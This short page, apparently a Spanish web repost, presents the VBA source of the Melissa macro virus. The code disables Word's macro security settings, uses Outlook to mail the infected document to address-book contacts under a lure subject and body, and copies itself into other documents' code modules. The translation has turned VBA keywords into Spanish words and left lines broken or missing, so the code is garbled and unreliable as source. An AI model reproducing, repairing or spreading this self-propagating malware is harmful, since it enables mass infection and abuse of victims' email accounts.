Código fuente del virus Melissa

Private Sub Document_Open()

En caso de error, reanudar a continuación

Si System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level" ) <> "" Entonces

CommandBars("Macro").Controls("Seguridad...") .Enabled = False

System.PrivateProfileString("", "HKEY_CURRENT_USER\ Software\Microsoft\Office\9.0\Word\Security", "Nivel") = 1& ;

Else

CommandBars("Tools").Controls("Macro").Enabled = Falso

Options.ConfirmConversions = (1 - 1): Opciones.

VirusProtection = (1 -1): Options.SaveNormalPrompt = (1 - 1)

Finalizar si

Atenuar UngaDasOutlook, DasMapiName, BreakUmOffASlice

Establecer UngaDasOutlook = CreateObject ("Outlook.Application")

Establecer DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")

Si System.PrivateProfileString("") x = x + 1

Si x > 50 Entonces oo = AddyBook.AddressEntries.Count

Siguiente oo

BreakUmOffASlice.Subject = "Mensaje importante de" & Application.UserName

BreakUmOffASlice.Body = "Aquí está el documento que usted solicitó... no mostrarlo a nadie más; mostrarlo a nadie más;".No mostrarlo a nadie más ;-)"

BreakUmOffASlice.Attachments.Add ActiveDocument .FullName

BreakUmOffASlice.Send

Peep=""

Siguiente y

DasMapiName.Logoff

Fin si

System.PrivateProfileString("")VBComponents.Item(1)

NTCL = NTI1.CodeModule.CountOfLines

ADCL = ADI1.DeleteLines 1, ADCL

Establecer ToInfect = ADI1

ADI1.Name = "Melissa"

DoAD = True

End If

If NTI1 Nombre <> "Melissa" Entonces

Si NTCL > 0 Entonces NTI1.CodeModule.DeleteLines 1.CodeModule.Lines(1, 1) = ""

ADI1.CodeModule.DeleteLines 1

Bucle

ToInfect..AddFromString ("Private Sub Document_Close()")

Hacer mientras ADI1.CodeModule.Lines(BGN, 1) <> " "

ToInfect.CodeModule.InsertLines BGN, BGN, 1 = ""